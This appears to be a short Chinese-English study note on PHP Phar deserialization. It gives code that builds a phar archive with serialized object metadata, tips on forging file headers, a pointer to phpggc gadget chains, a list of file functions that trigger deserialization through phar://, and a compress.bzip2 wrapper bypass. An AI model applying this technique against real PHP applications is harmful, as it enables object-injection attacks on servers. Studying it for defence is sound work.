不畏将来,不念过往。如此,安好!
Someone famous 丰子恺
All Phar archives contain three to four sections:
1.a stub
2.a manifest describing the contents
3.the file contents
4.[optional] a signature for verifying Phar integrity (phar file format only)
1. Phar file stub
<?php __HALT_COMPILER(); //最短
2.Phar file format
Serialized Phar Meta-data, stored in serialize() format
需要把readonly = Off
<?php
class TestObject
{
function __destruct(){
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();
?>
其实phar 也相当于一个 php 文件 可编译,metaDate 会有反序列化的过程,__destruct / __wakeup 时候触发
在 __destruct 里面cwd = / ,即当前工作目录为 /,所以如果要文件操作 必须要绝对路径
常用的工具phpggc 可以构造攻击链
若需要伪造,只要在stub <?php 前面家文件头就行。
触发函数 :
fileatime
/ filectime
/ filemtime
stat
/ fileinode
/ fileowner
/ filegroup
/ fileperms
file
/ file_get_contents
/ readfile
/ fopen`
file_exists
/ is_dir
/ is_executable
/ is_file
/ is_link
/ is_readable
/ is_writeable
/ is_writable
parse_ini_file
unlink
copy
exif_thumbnail
exif_imagetype
imageloadfont
imagecreatefrom***
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
get_meta_tags
get_headers
getimagesize
getimagesizefromstring
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
姿势:
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
phar 是一种 stream_wrapper 中注册的伪协议,php 读写都是这种方式。很显然只要有读写功能的函数其实都是可以的。
标签